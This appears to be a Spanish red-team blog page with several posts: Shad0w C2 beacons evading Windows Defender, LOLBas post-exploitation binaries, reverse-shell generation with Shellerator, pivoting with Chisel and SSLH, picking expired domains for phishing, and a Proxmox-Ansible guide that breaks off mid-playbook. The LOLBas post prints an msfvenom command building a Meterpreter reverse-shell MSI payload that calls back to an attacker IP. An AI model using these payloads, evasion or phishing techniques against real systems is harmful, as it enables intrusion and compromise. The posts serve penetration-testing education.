Categorías
Explotación de Software Hacking Networking Services - Software

Entornos C2 sobre sistemas Windows con Shad0w: Evasión de mecanismos de seguridad – Parte 1 de 2.

Los proyectos y scripts que van surgiendo enfocados a la post-explotación son cada vez más variados y potentes. Cada cierto tiempo suelen aparecer proyectos que dadas sus características encajan perfectamente con los objetivos de una campaña de Red Team o como mínimo, dan ideas o aproximaciones para enfrentarse a los problemas cada vez complejos que hacen parte de las actividades un de equipo de Red Team. Dicho esto, hace cerca de un año ha aparecido un proyecto para la creación de entornos C2 pero a diferencia de los ya conocidos como Pupy , ToRatMetasploit/Meterpreter, Koadic, o Empire, este en concreto utiliza técnicas de ofuscación y bypassing de mecanismos de seguridad habituales como AVs, de hecho tal como se indica en su sitio web en GitHub y tal como lo describe su autor, está enfocado a entornos «maduros». Dado que evidentemente, no hay que comprar todo lo que se nos ofrece y aceptarlo sin antes verificarlo, en este post se explicarán las dificultades encontradas durante su instalación, configuración, uso y al final, dadas las pruebas realizadas se determinará si realmente puede ser conveniente en una campaña de Red Team para entornos debidamente securizados o si por el contrario requiere más trabajo y un enfoque más «artesanal/manual» como suele ocurrir en la mayoría de las campañas.

En primer lugar el proyecto se encuentra ubicado en el siguiente repositorio: https://github.com/bats3c/shad0w y el autor de la herramienta comparte sus ideas sobre la misma en su blog, concretamente en el siguiente post: https://blog.dylan.codes/shad0w/
El proceso de instalación, tal como se indica en el sitio web se basa en Docker, por lo tanto es necesario tener el servicio de Docker levantado en el sistema, algo que a día de hoy es cada vez más frecuente en proyectos de todo tipo y por lo tanto es recomendable aprenderlo.
Aunque en la documentación se indica que se debe clonar el proyecto y posteriormente ejecutar el comando «./shad0w install» como root, en la práctica dicho comando produce un error ya que espera que una imagen llamada «shad0w» se encuentre creada en el servicio de Docker, algo que evidentemente no será así inicialmente. No obstante, se cuenta con el fichero Dockerfile en el repositorio de GitHub por lo tanto no habrá ningún problema si se construye la imagen con el comando «docker build«.

Ahora se puede comenzar a utilizar la herramienta. Hay que tener en cuenta que lo que hace el binario «shad0w» es lanzar un contenedor Docker con la imagen creada previamente, esto a efectos prácticos significa que la herramienta está preparada y configurada para ser ejecutada dentro de ese contenedor. En las pruebas realizadas se ha lanzado directamente el fichero «shad0w.py» y en múltiples secciones del código se puede apreciar que aparece hardcodeada la ruta «/root/shad0w» y a menos que se ejecute dicho script como root (no recomendable) y se descargue la herramienta en esa ruta, no funcionará correctamente.

Los elementos que se incluyen en la herramienta son simples y recuerdan a otras utilidades para generar agentes o payloads como es el caso de Msfvenom o Pupygen, tal como se puede ver con la opción «–help» las opciones son muy intuitivas, sin embargo es conveniente leer el post del autor para entender la arquitectura del programa y cómo usarlo adecuadamente. En primer lugar, los payloads generados son llamados «beacons» y hay dos tipos: secure e insecure. En el caso de utilizar un beacon del tipo secure, las conexiones se realizarán utilizando HTTPS entre la víctima y el objetivo, en el segundo con HTTP. Por otro lado, los beacons pueden ser staged o static, en el primer caso el beacon contendrá unicamente las instrucciones necesarias para establecer la conexión con el atacante y posteriormente se transferirán otros componentes del payload de forma dinámica, haciendo que sea menos pesado y más fácil de manejar. Esto es equivalente a lo que ya hacen algunos payloads de Metasploit Framework. En el segundo caso, el binario transferido a la víctima tendrá incluido todo el código del payload, lo que significa que será más pesado y posiblemente, más fácil de detectar.

Los formatos soportados son los más habituales y se pueden especificar con la opción «-f». Concretamente se puede establecer: «exe», «psh», «dll» y «raw». Con esto, la muestra debería de estar preparada para ser transferida y ejecutada en la máquina objetivo.

Se ha probado sobre un sistema Windows 10 actualizado y la transferencia se ha realizado sin ningún problema, el Windows Defender lo ha dejado pasar y una vez ejecutado se ha obtenido el «beacon» en el servidor C2 que se ha tenido que levantar previamente.

No obstante, hay que mencionar 2 cosas importantes:

  1. El beacon utilizado ha sido el «staged», ya que el «static» ha sido detectado a la primera
  2. Aunque se ha transferido correctamente, a la hora de ejecutarlo ha aparecido un error que al parecer corresponde a una rutina de Visual C++ que se ha desplegado en el ejecutable y a Windows no le gustado nada. No obstante, si se pincha en «Omitir» el payload se ejecuta correctamente y se consigue la conexión tal y como se puede ver en la imagen anterior.

Una vez hechas las pruebas sobre Windows 10 actualizado, se ha procedido a ejecutar lo mismo sobre un sistema Windows 8.1 limpio (recién instalado y actualizado) para comprobar su funcionamiento. En este caso concreto ha ocurrido algo que resulta curioso y es que con este sistema actualizado y con su correspondiente Windows Defender activo ha conseguido detectar la amenaza en ambos casos, tanto para el beacon «staged» como para el «static». Resulta curioso precisamente porque en un sistema Windows 10 ha funcionado, pero también es cierto que no era un sistema recién instalado aunque sí actualizado.

Aun queda por probar otros formatos que no sean un binario PE y hacerlo sobre un sistema Windows Server. Estas pruebas concretamente se llevarán a cabo en el siguiente post.

Un saludo y Happy Hack!
Adastra.

Categorías
Explotación de Software Hacking Services - Software

Enumeración en Windows para Post-Explotación – Parte 6.

Continuando con esta serie sobre enumeración básica en sistemas Windows, en esta parte se hará una introducción al proyecto LOLBas el cual se encuentra disponible en el siguiente enlace: lolbas-project.github.io/
Las publicaciones anteriores de esta serie se pueden ver en los siguientes enlaces:

Enumeración en Windows para Post-Explotación – Parte 1.
Enumeración en Windows para Post-Explotación – Parte 2.
Enumeración en Windows para Post-Explotación – Parte 3.
Enumeración en Windows para Post-Explotación – Parte 4.
Enumeración en Windows para Post-Explotación – Parte 5.

El proyecto LOLBas (Living Off The Land Binaries and Scripts and also Libraries) aparece dada la gran cantidad de binarios, scripts y librerías que pueden ser utilizados por atacantes locales para ejecutar operaciones que se salen del contexto o alcance de su diseño original. Por lo tanto, como resulta evidente se trata de componentes que hacen parte del sistema operativo y que vienen muy bien en procesos de Post-Explotación, de hecho, algunos de estos elementos pueden ser especialmente útiles para exfiltrar información sin necesidad de transferir scripts o herramientas a la máquina comprometida. Lo que hay que tener en cuenta en todo caso, es la versión del sistema operativo, ya que algunos binarios o librerías solamente se encuentran disponibles para Windows 10, mientras que otros solamente están habilitados en versiones de Windows antiguas o directamente «no existen» en diferentes versiones de Windows Server. En el proyecto LOLBas se describe cada comando y sus características, así como las versiones de Windows en las que se encuentra disponible.


Para ejecutar algunos de estos binarios se requieren privilegios elevados, por lo tanto es otra de las cuestiones que se deben comprobar. Nuevamente en la documentación disponible en LOLBas se describe el nivel de privilegios requerido para ejecutar cada comando, librería o instrucción. En la práctica, los componentes disponibles en el proyecto ayudan sobre todo a labores de post-explotación relacionadas con la transferencia de ficheros entre víctima y atacante, movimientos laterales e incluso persistencia, pero son pocos los binarios que ayudan en la elevación de privilegios horizontal o vertical, por lo tanto es posible que se le saque más provecho o sea más interesante utilizar los binarios y scripts disponibles utilizando un usuario con privilegios de administrador. A continuación se enseñan algunos LOLBas básicos para labores de Post-Explotación en Windows.

LOLBas AT

El comando AT se encuentra disponible en múltiples versiones de Windows y permite la ejecución periódica de comandos. Es bastante flexible y precisamente por este motivo, permite lanzar cualquier comando sin ningún tipo de verificación lo que en algunos escenarios le permitirá al atacante tener cierto control sobre el sistema o lanzar rutinas maliciosas. La descripción de este comando en el proyecto LOLBas se encuentra disponible en el siguiente enlace: https://lolbas-project.github.io/lolbas/Binaries/At/#execute

LOLBas FORFILES

Se trata de una utilidad que permite recorrer todos los ficheros de un directorio concreto y en el caso de que el nombre de uno de los ficheros recorridos coincida con el que se ha especificado en la opción “/m”, procederá a ejecutar el comando indicado con “/c”.

La descripción de este binario se encuentra disponible en el siguiente enlace del proyecto LOLBas: https://lolbas-project.github.io/lolbas/Binaries/Forfiles/#execute

LOLBas MSIEXEC

Se trata de una utilidad que permite descargar y ejecutar binarios en formato “msi” desde cualquier ubicación en el segmento de red. En primer lugar, sería necesario generar un ejecutable con dicho formato, para ello se puede utilizar msfvenom con la siguiente instrucción.

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.116 LPORT=4444 -f msi -o /home/test/msipayload.msi

 

Como se puede apreciar en la imagen anterior, basta simplemente con indicar la URL donde se encuentra el binario y msiexec se encargará de su descarga y posterior ejecución. En este caso el fichero “msi” descargado producirá una sesión meterpreter ya que es el payload que se ha especificado con msfvenom. Hay que tener en cuenta que para que esto funcione se ha tenido que levantar el módulo “exploit/multi/handler” en segundo plano, utilizando el comando “exploit -j”. En el proyecto LOLBas se enseña una descripción del binario: https://lolbas-project.github.io/lolbas/Binaries/Msiexec/#execute

LOLBas WMIC

El comando WMIC es uno de los más extendidos y utilizados en sistemas Windows dada su potencia y beneficios que ofrece a un administrador de este tipo de sistemas. También se puede utilizar para la creación de procesos de forma arbitraria, lo que en algunos casos puede ser interesante para un atacante.

Como se puede apreciar en la imagen anterior, es posible subir un payload, el cual ha podido ser generado con la utilidad “msfvenom” y posteriormente utilizando WMIC, ejecutar con la instrucción wmic process call create “<PATH_EXE>”

La descripción de este binario en el proyecto LOLBas se encuentra disponible en el siguiente enlace: https://lolbas-project.github.io/lolbas/Binaries/Wmic/#execute

 

LOLBas FTP

Se trata de otro binario que se encuentra disponible en múltiples versiones de Windows. Es un comando que funciona como cliente FTP por línea de comandos, sin embargo también permite lanzar instrucciones contra el sistema local utilizando la opción “-s” la cual recibe un fichero de texto con las instrucciones que debe lanzar el cliente FTP. La descripción de esta técnica se encuentra descrita en el siguiente enlace del proyecto LOLBas: https://lolbas-project.github.io/lolbas/Binaries/Ftp/

En este post se han descrito algunos LOLBas básicos que pueden ser útiles en la enumeración/post-explotación de un sistema Windows, sin embargo existen otras posibilidades que ofrece LOLBas y que no se han explicado en este post por lo tanto se recomienda poner en práctica lo explicado aquí y ver otros comandos interesantes del proyecto. Para terminar, simplemente mencionar que existe otro proyecto similar pero enfocado a sistemas Unix llamado GTFOBins. De esto se hablará más adelante en otra serie sobre enumeración en sistemas Unix que empezaré a elaborar próximamente.

Un saludo y Happy Hack!
Adastra.

Categorías
Hacking

Hoy vengo a hablar de TU libro: 25 Técnicas aplicadas a campañas de Red Team y Hacking

Mucho tiempo ha pasado desde que he escrito mi última obra en 0xWord, cerca de 5 años para ser exactos. Desde entonces no he parado de aprender y trabajar, que en mi caso afortunadamente ambas cosas van de la mano y me siento agradecido por ello. En estos últimos años como profesional autónomo he tenido la posibilidad de participar en decenas de proyectos relacionados con la ciberseguridad y aunque me he divertido por el camino, no diré que ha sido fácil y el estrés sumado a la frustración que producen ciertas situaciones ha sido posiblemente lo más complejo de gestionar. Nos pasa a todos. A pesar de las dificultades con esfuerzo y dedicación se consiguen resultados, no hay magia ni atajos, si algo quieres tendrás que ganártelo. No pain, no gain. Esa ha sido una de las premisas que he adaptado a mi forma de vivir: Per aspera, ad astra. Este es precisamente el motivo de mi nick.
Luego llego el 2020, un año muy duro que en mi opinión, ha sido un llamado de atención y posiblemente una oportunidad para reflexionar sobre lo que hacemos o dejamos de hacer como sociedad. En mi caso concreto ha reforzado la idea que siempre he tenido sobre el trabajo duro y la perseverancia. A pesar de lo que hemos vivido en el 2020, no me ha faltado el trabajo y de hecho, he fortalecido relaciones con clientes existentes y he conseguido nuevos pero no todo el mundo tiene la misma «suerte» y la situación de muchas personas es especialmente delicada. Personas a las que no es que les falte sacrificarse y luchar más, no es que sean vagos, que luchan día a día y muchas veces con la desesperación que produce tener el estomago vacío. El problema de estas personas es que carecen de los medios de subsistencia mínimos y un entorno favorable para progresar y salir adelante. Y ojo, no me refiero a esos que se quejan de no tener un salario digno mientras tienen un «ifone» que cuesta 1000 euros o dicen que no llegan a fin de mes pero luego tienen suscripciones premium en 10000 plataformas de entretenimiento. NO, me refiero a personas que realmente están en la miseria y viven una realidad muy diferente.
Han sido muchos los viajes que he realizado a Asia (cuando se podía), concretamente a China y Vietnam, las cosas que he visto allí honestamente no me explico cómo es posible que no toquen la fibra sensible de los turistas y ya de paso, del gobierno de esos países. Para mi es simplemente incomprensible ver cómo unos tienen tanto y otros tan poco. Ver niños y personas mayores que piden para poder comer o que venden souvenirs a los  turistas a cambio unos pocos «dongs» o «renminbis», que no llegan ni a los 10 céntimos de euro. Y lo mismo pasa en España y América Latina, esto no es algo nuevo lo que pasa es que muchos (y me incluyo) solemos mirar para otro lado porque es una imagen incómoda y nos hace pensar que nuestros problemas no son nada comparados con los de esas personas, o al menos es lo que pasa por mi cabeza en esos momentos.


Dicho esto, en muchas noches/madrugadas que he ido teniendo libres durante los últimos meses del 2020 me he dedicado a desarrollar este nuevo proyecto, el de escribir un libro con algunas de las cosas que he ido aprendiendo después de trastear y pegarme con proyectos de ciberseguridad orientados concretamente al Red Team. Inicialmente pensé en publicarlo en 0xWORD como mis obras anteriores, pero en esta ocasión me he decantado por la autoedición en Amazon por un motivo muy simple: Quiero que todo el dinero obtenido de las ventas se destine a UNICEF y cuando digo TODO es TODO, sea mucho o poco, pero que mi esfuerzo vaya destinado a mejorar la vida de alguien. Eso es lo que busco. El tiempo que he empleado en redactar este documento quiero dedicarlo a una causa con la que me siento completamente identificado, con la esperanza de que sirva para mejorar la vida de un niño o niña en cualquier parte del mundo.
Lo cierto es que no se me ha ocurrido otra forma de aportar o contribuir a la solución de un problema que, al parecer, nunca desaparecerá por completo pero he pensado que no puedo simplemente quejarme de que algo no me gusta y no hacer nada para cambiarlo. Puede que ante estas situaciones mire para otro lado como muchos otros, pero no olvido.
La idea es que el dinero que inviertes comprando este libro, ya sea en formato ebook o tapa blanda, sirva para dos propósitos: El primero, para tu propio aprendizaje y el segundo para ayudar a los más vulnerables, aquellos que han nacido en unas condiciones que no le desearía a nadie.
Este documento lo he escrito yo, estoy poniendo a tu disposición un medio, pero es TU LIBRO con el que aportarás de cierta manera a una organización como UNICEF para que puedan hacer su trabajo. No es un dinero destinado al crecimiento o continuidad de un negocio privado ( y aunque sería algo perfectamente valido, este no es el caso).
Ahora bien, soy consciente de que muchas ONG son criticadas por la forma en la se invierte el dinero que reciben de las donaciones, la mayoría de estas criticas van encaminadas a que se invierte mucho dinero en publicidad y otros gastos, ese dinero luego no llega al objetivo que son las personas que se encuentran en situaciones de extrema necesidad. Los que hemos trabajado en empresas y hemos visto cómo funcionan, sabemos perfectamente bien que se debe invertir dinero en pagar los salarios de trabajadores, cubrir gastos fijos/operativos, cubrir las necesidades e imprevistos de la organización entre muchas otras cosas. Es de sentido común, las organizaciones necesitan estímulos económicos para funcionar, lo mismo ocurre con cualquier organización sin animo de lucro. En todo caso, antes de elegir una ONG concreta me he fijado en el listado disponible en Fundación Lealtad y me he decido por UNICEF. Creo que es una buena decisión pero estoy abierto a escuchar recomendaciones al respecto.

Puedes adquirir la obra en formato EBook aquí y el libro en tapa blanda aquí. Espero que lo disfrutes!

Un Saludo y Happy Donation!
Adastra.

Categorías
Explotación de Software Hacking Hacking Python Networking Services - Software Web Applications

Generación automática de reverse y bind shells con Shellerator

Cuando se realiza un pentest en ocasiones se localizan vulnerabilidades criticas que al explotarlas permiten generan una shell, la cual puede ser bind o reversa según sea conveniente (o posible dadas las características del sistema comprometido). Aunque habitualmente cada pentester cuenta con su propia «chuleta» de comandos o herramientas útiles para este propósito hay un proyecto interesante en GitHub llamado Shellerator  que por medio de un asistente enseña comandos validos que pueden ejecutarse contra el objetivo para la generación de una shell. Dicho proyecto se encuentra desarrollado en Python3 y como muchos otros programas escritos con este lenguaje, cuenta con un fichero llamado «requirements.txt» para instalar todas las dependencias utilizando PIP.

Cuando se ejecuta el script «shellerator.py» sin ningún argumento enseña algunos listados en donde se debe seleccionar la interfaz de red, puerto y tipo de shell. Esta es una buena forma de explorar el alcance de la herramienta ya que en el último paso de este asistente tan simple se pueden ver los tipos de shells soportadas y los comandos que podría generar en función al lenguaje seleccionado.

En la imagen anterior se pueden apreciar las alternativas que ofrece la herramienta a la hora de seleccionar el tipo de lenguaje y una vez se elige uno de ellos, aparece un listado de los posibles comandos a ejecutar para generar una shell reversa. No obstante, además de dicho listado de posibles instrucciones también aparece un comando que sería el que se podría ejecutar para obtener los mismos resultados sin necesidad de usar el interprete.

Como se puede apreciar, el comando es muy sencillo y no requiere una explicación demasiado detallada ya que es auto-explicativo. Además de la opción –reverse-shell también se cuenta con –bind-shell. Todas las opciones disponibles en el script se pueden ver con «-h».

Por otro lado, hay otro detalle a tener en cuenta de la herramienta y es que si se especifica que se debe generar un listado de bind shells, a la fecha de redactar este post solamente soporta la generación el tipo «netcat» y en tal caso aparece un listado con solamente un resultado, no obstante en el caso de generar reverse shells la herramienta demuestra su utilidad enseñando varias posibilidades que en un momento dado pueden «refrescar la memoria». Por ejemplo, el siguiente comando generaría posibles reverse shells utilizando bash.

Y lo mismo se puede ver en el caso de algunos de los lenguajes de programación habituales.

Aunque anteriormente se han publicado algunos posts sobre webshells aquí, aquí y aquí, este proyecto es un script que se puede ejecutar muy rápidamente y no pide mucho, las dependencias en la mayoría de casos se encontrarán incluidas en la instalación de Python de cualquier sistema destinado a pentesting y si no es el caso, se pueden instalar en menos de un minuto utilizando PIP. Merece la pena tenerlo en cuenta si hay que generar una reverse shell utilizando una instrucción directa y no se recuerda qué comando utilizar.

Un saludo y Happy Hack!
Adastra.

Categorías
Explotación de Software Hacking Networking Services - Software

Pivoting y movimientos laterales con Chisel y SSHL

Cuando se habla de movimientos laterales es muy habitual mencionar servidores proxy o túneles que se encarguen de enrutar el tráfico de una máquina a otra. Normalmente la máquina que «enruta» es aquella que el atacante ha podido comprometer y utiliza como pivote para atacar otras máquinas que se encuentran disponibles en la red local de la víctima. Este es el escenario más habitual y conocido, además también es común utilizar herramientas como SSH (para crear túneles), Socat para crear redirectores o las características de networking que ya vienen incluidas en Meterpreter. No obstante como suelo decir, es importante conocer otras herramientas, alternativas y técnicas que se sumen a las ya aprendidas. El motivo es muy simple: No dependencia. Por ejemplo, SSH es estupendo para crear túneles cifrados utilizando dicho protocolo, lo que en una operación de Red Team es genial pero no siempre se contará con la suerte de poder utilizar SSH y crear túneles locales, remotos o dinámicos ya sea porque no se encuentra instalado (y por lo que sea no puede llevar a cabo el proceso de instalación en ese sistema) o porque no se tiene una cuenta valida en el sistema ni privilegios para crear un usuario nuevo. Hay que buscar otras alternativas. Por ese motivo, en este post se hablará de 2 herramientas que son estupendas y encajan perfectamente en una campaña de Red Team, concretamente en la etapa de pivoting y movimientos laterales, se trata de SSLH y Chisel.

Multiplexor SSLH

Sobre esta herramienta he escrito algo hace varios años pero su uso y filosofía siguen siendo ideales para realizar movimientos laterales en campañas de Red Team. A grandes rasgos, permite recibir peticiones en un puerto concreto utilizando protocolos tan conocidos como HTTPS (TLS/SSL), OpenVPN o SSH y posteriormente, enrutar internamente dicha petición con su información a otro puerto distinto. Básicamente, funciona como un multiplexor en el que utilizando el mismo puerto se pueden servir dos servicios distintos (o más) en función a la petición realizada. Un ejemplo podría ser levantar el servicio HTTPS por el puerto 443, SSH por el 22 y todas las peticiones entrantes por el puerto 4444 (por poner un ejemplo) pueden ser procesadas por el servidor web en el caso de que se trate de una petición HTTPS o por SSH si la petición utiliza ese protocolo.
El proyecto se encuentra en GitHub (https://github.com/yrutschle/sslh) y la documentación en el sitio web de su creador (https://www.rutschle.net/tech/sslh/README.html) en donde están descritas las instrucciones para su instalación. El programa también está disponible para sistemas basados en Debian y RedHat en sus repositorios oficiales, por lo tanto se puede instalar fácilmente con instrucciones como «apt install sslh» o «yum install sslh». No obstante es posible que resulte conveniente generar el ejecutable realizando el proceso de construcción manual con «make» para poder transferir el binario a la máquina comprometida. En las últimas versiones de esta aplicación hay dos ejecutables que hacen lo mismo (sslh-fork y sslh-select), pero que tal como se indica en la documentación, se debe usar uno u otro en función al número de peticiones concurrentes que se pretenda realizar. En el caso de sslh-fork tal como su nombre indica y se puede ver en el fichero sslh-fork.c, se invoca a la función «fork()» para cada petición entrante, lo que a la larga puede generar un consumo excesivo de recursos en el servidor y por lo tanto no es el mejor enfoque si se pretende realizar múltiples conexiones. La otra alternativa es sslh-select la cual en lugar de hacer un «fork» del proceso principal, levanta un nuevo hilo con la función «select», algo que también se puede apreciar en el fichero sslh-select.c. Conociendo estos detalles es posible elegir alguna de las dos con prudencia y teniendo muy en cuenta el uso que se le pretende dar, así como las características del sistema comprometido.
Utilizarlo no representa ninguna dificultad ya que las opciones son muy intuitivas y entendido el funcionamiento de la herramienta es fácil levantar un multiplexor/redirector con SSLH, tal como se puede comprobar en la siguiente imagen.

Como se puede ver se ha utilizado el mismo puerto (4443) para acceder a dos servicios diferentes, uno por SSH y otro por HTTPS. La herramienta se encarga de enviar la petición correspondiente al servicio correcto y la conexión se establece en el caso de que, por supuesto, en el destino el servicio se encuentre levantado.

Chisel.

Se trata de una herramienta que funciona bastante bien a la hora de enmascarar peticiones HTTP hacia un servidor cifrando los datos con SSH. Tal como se indica en el repositorio GitHub del proyecto (https://github.com/jpillora/chisel) su principal objetivo es el de evadir restricciones impuestas por Firewalls.
Se encuentra desarrollado en Go y se puede instalar muy fácilmente utilizando las siguientes instrucciones, las cuales generarán el binario de Chisel para levantar los componentes cliente y servidor.

A continuación, el binario generado se debe ubicar en la máquina del atacante (servidor) y transferir a la víctima (cliente). Una vez hecho esto, se empezara a crear diversos tipos de túneles y combinaciones interesantes. Un primer ejemplo podría verse en la siguiente imagen:

En la primera consola se ejecuta el servidor, es decir, en la máquina del atacante. Como se puede apreciar se especifica el puerto 9000 y en las trazas que genera el programa se puede ver que en dicho puerto se vincula a todas las interfaces de red disponibles en el servidor.

En la segunda terminal, es decir, en la máquina de la víctima se ejecuta Chisel con el argumento «client» y se especifica la ubicación del servidor que en este caso concreto es la IP «192.168.1.116» y el puerto, debe ser el 9000 (el indicado en la máquina donde se ejecuta el servidor). La siguiente parte del comando permite especificar la sintaxis del túnel. En este caso concreto, se especifica que se abrirá el puerto 9001 en la máquina de la víctima (cliente) y que todas las peticiones entrantes por dicho puerto (9001), serán enviadas al servidor en el puerto 9000 y éste, se encargará de hacer la redirección correspondiente a www.startpage.com:443.

Finalmente, en la tercera terminal se realiza la prueba utilizando CURL, en donde se puede comprobar claramente que la IP de la víctima (192.168.1.76) responde correctamente a las peticiones por el puerto 9001 y de forma transparente de puede apreciar en las cabeceras de la respuesta que proviene del servidor StartPage.com. Lo que ha ocurrido al ejecutar la petición contra el puerto 9001 es que la víctima (cliente) se ha puesto en contacto con el atacante (servidor) para que sea éste el que realice la petición al dominio solicitado (www.startpage.com:443).

Con este ejemplo se puede ver el potencial de la herramienta y que puede resultar muy conveniente como una alternativa a la creación de túneles SSH para pivotar o exfiltrar información. Sin embargo, aquí no termina ya que Chisel cuenta con más opciones y combinaciones. Otro ejemplo se puede ver en la siguiente imagen.

Este sería el caso más habitual a la hora de realizar pivoting y port-forwarding con Chisel. En este escenario el atacante ha comprometido una máquina y quiere enrutar todas las peticiones hacia un objetivo que se encuentra ubicado en una red interna, dicha red es accesible desde la máquina de la víctima pero no lo es desde la máquina del atacante. A continuación se explica cómo se ha utilizado Chisel en este caso.

En la primera consola se ejecuta Chisel en la máquina del atacante (servidor) y se abre el puerto 9000, además notar que se utiliza la opción «-reverse» la cual permite crear un túnel reverso entre la víctima y el servidor, un término conocido para aquellos que saben lo que es un túnel SSH remoto.

En la segunda consola se utiliza Chisel en la máquina víctima (cliente) y se indica que debe establecerse una conexión contra el puerto 9000 del atacante (servidor).  La siguiente parte del comando sirve para especificar la creación del túnel. En este caso es uno remoto «R», se abrirá en la máquina del atacante (servidor) el puerto 8000 y luego, todas las peticiones que se reciban en dicho puerto en la máquina del atacante serán enrutadas automáticamente a una IP y puerto que se encuentra en un segmento de red al que tiene acceso la víctima, en el caso de la imagen anterior el segmento es el 192.168.1.0/24 la IP concretamente es la 192.168.1.115 y el puerto es el 80.

Como se ha mencionado antes, cuantas más alternativas, herramientas y técnicas se conozcan para llevar a cabo cada una de las etapas de una campaña de Red Team o un Pentest mucho mejor, así si falla alguna o no se puede aplicar por el motivo que sea se cuenta con otras alternativas que pueden «salvar el día».

Un saludo y Happy Hack!
Adastra.

Categorías
Hacking Networking Services - Software

Verificación de dominios expirados para Phishing con DomainHunter

En este post se hablará de la herramienta Domain Hunter. Es un script muy sencillo pero útil en campañas de Red Team especialmente en la etapa de Delivery. En el momento en el que se plantea la creación de una campaña de Phishing es importante elegir un buen dominio para obtener los mejores resultados y en este sentido, Domain Hunter utiliza el servicio ExpiredDomains para encontrar aquellos que recientemente han expirado por diversos motivos. El objetivo de este proyecto, de hecho, no es el de obtener una lista de dominios que podrían ser utilizados para Phishing, sino el de proveer un listado de dominios que por diferentes motivos ahora se encuentran en estado de «Pending Delete» y que pueden ser comprados para aprovechar el posicionamiento que ya tienen, de cara a aplicar SEO no es lo mismo un dominio recién creado y sin presencia en Internet que otro que ya tiene algo de recorrido y posicionamiento en motores de búsqueda. Este servicio no solamente lista los dominios que están a punto de caducar, sino que también enseña aquellos que ya lo están y que ahora  se podrían comprar.

Instalación y uso de DomainHunter

Se puede utilizar DomainHunter (https://github.com/threatexpress/domainhunter) para automatizar el proceso de búsqueda de dominios en ExpiredDomains y tras leer el fichero README del proyecto es fácil entender sus funcionalidades. En primer lugar, la instalación puede hacerse utilizando el «requirements.txt» tan común en los proyectos basados en Python o por medio del fichero Dockerfile que se encuentra en el proyecto y que está preparado para crear un contenedor con todo lo necesario para ejecutar la herramienta.

Una vez instalado todo, se puede ejecutar el script «domainhunter.py» con la opción «-h» para explorar las alternativas que ofrece.


Hay que tener en cuenta que las últimas versiones de la API del servicio ExpiredDomains requiere de un usuario valido en el sistema, por ese motivo se ha incorporado en el script las opciones «–username» y «–password», aunque si solamente se indica el nombre de usuario, el script solicita la contraseña sin necesidad de introducirla en plano con la opción «–password».
Después de crear una cuenta en el servicio de ExpiredDomains se puede empezar a usar el script prácticamente sin ninguna dificultad, solamente hace falta indicar las opciones adecuadas para la búsqueda. Las más interesantes a efectos prácticos son las siguientes.

-k : Permite filtrar por los dominios que contienen una palabra concreta.

-ks : Permite filtrar por los dominios que empiezan por la palabra especificada.

-ke : Permite filtrar por los dominios que terminan por la palabra especificada.

-s : Ejecuta verificaciones sobre la reputación de un dominio o dirección IP especificada.

-f : Recibe un fichero en donde cada línea corresponde a un dominio o dirección IP. Con cada uno de estos elementos se aplican las mismas verificaciones que con la opción «-s».

Para una búsqueda directa sin aplicar ningún filtro basta simplemente con ejecutar el script utilizando una cuenta de usuario valida y automáticamente se podrán apreciar los resultados en la terminal.

Aplicando los filtros indicados anteriormente también se obtiene un listado de resultados que automáticamente se almacenan en un fichero HTML para su posterior consulta, así como una tabla que se enseña directamente en la terminal. Por otro lado, incluye algunas opciones como «–ocr» o «–alexa» que son mucho más especificas y permiten en este caso, aplicar un OCR a los captcha que suelen ser solicitados por parte de la plataforma y ordenar los resultados de acuerdo al ranking de Alexa para cada resultado de la búsqueda.

Aunque es un script fácil de instalar y utilizar, los mismos resultados se pueden obtener simplemente navegando por el servicio de ExpiredDomains con una cuenta de usuario valida, de hecho, se encuentran muchas más alternativas de cara al filtrado de dominios y se puede consultar el feed de los últimos que se han incorporado a la lista de «Pending Delete».

Tanto el script DomainHunter como el servicio ExpiredDomains son recursos interesantes a la hora de llevar a cabo una simulación de un ataque o un Red Team, especialmente en aquellos casos en los que hay que crear campañas de Phishing con algún dominio valido y lo más legitimo/creíble posible.

 

Un saludo y Happy Hack!
Adastra.

Categorías
Uncategorized

Automatización de infraestructura en Proxmox con Ansible

En esta ocasión, nos centraremos en cómo automatizar despliegues de máquinas virtuales en una infraestructura on-premise operada con Proxmox. Usaremos Ansible tanto para comunicarnos con Proxmox como para hacer la configuración de la máquina después del despliegue.

Escenario previo

Para poder poner en práctica la automatización, es deseable tener configurado un escenario que cuente con VLANs configuradas, un servidor de DHCP en cada una de las VLANs y una zona DNS con actualización dinámica por DHCP (RFC 2136).

En nuestro caso, tenemos configurado Pfsense como firewall y servidor DHCP de las dos VLANs:

  • VLAN001: red de gestión donde se encontrarán los servicios publicados a todas las redes. En nuestro caso, solo necesitamos el servidor DNS con Bind9.
  • VLAN002: red de despliegue donde crearemos las nuevas máquinas.

Para mayor información sobre estas configuraciones, consultar los enlaces correspondientes:

Por último, debemos tener disponibles plantillas de máquinas virtuales. En nuestro caso, solo usaremos plantillas de Ubuntu y Debian. A partir de estas plantillas, el automatismo podrá generar las nuevas máquinas virtuales. Para más información, consultar el siguiente enlace.

Creación y borrado de máquinas virtuales con proxmox-ansible

Para esta automatización, hemos preparado el repositorio proxmox-ansible. Se trata de un role de Ansible que realiza acciones concretas en función de la variable action. Concretamente, este role permite realizar dos acciones que nos interesan en este momento:

  • create_vm : Clona de una máquina virtual a partir de una plantilla existente. Para más información, accede aquí.
  • delete_vm : Borra una máquina virtual. Para más información, accede aquí.

Para usar este role, tenemos dos opciones:

  • Clonar el repositorio en ~/.ansible/roles/ e instalar las dependencias que aparecen en el fichero requirements.txt.
  • Ejecutar el playbook desde la imagen de docker atorrescogollo/proxmox-ansible:latest.

En este caso, usaremos la imagen de docker del siguiente modo:

  1. Creamos el playbook create_vm.yml indicando la acción create_vm y los parámetros que requiere:
    $ cat create_vm.yml
    - name: Create VM
      hosts: localhost
      roles:
      - role: proxmox-ansible
        vars:
          action: create_vm
          proxmox_host: 10.0.0.2:8006
          proxmox_user: user@pam
          proxmox_pass: password
          vm_name: testvm01
          cpu_sockets: 1
          cpu_cores: 1
          ram_mb: 2048
          disk_gb: 20
          datastore: ds01
          vlan: 2
          template_name: TEMPLATE-UBUNTU-SERVER-20-04
          proxmox_node: proxmoxnode01
  2. Ejecutamos el role montando el fichero de playbook como un volumen:
    $ docker run --rm \
        -v "$PWD/create_vm.yml:/playbook.yml" \
        atorrescogollo/proxmox-ansible:latest

Por otro lado, el borrado de la máquina, se podría ejecutar de igual forma pero usando el playbook delete_vm.yml:

$ cat delete_vm.yml
- name: Delete VM
  hosts: localhost
  roles:
  - role: proxmox-ansible
    vars:
      action: delete_vm
      proxmox_host: 10.0.0.2:8006
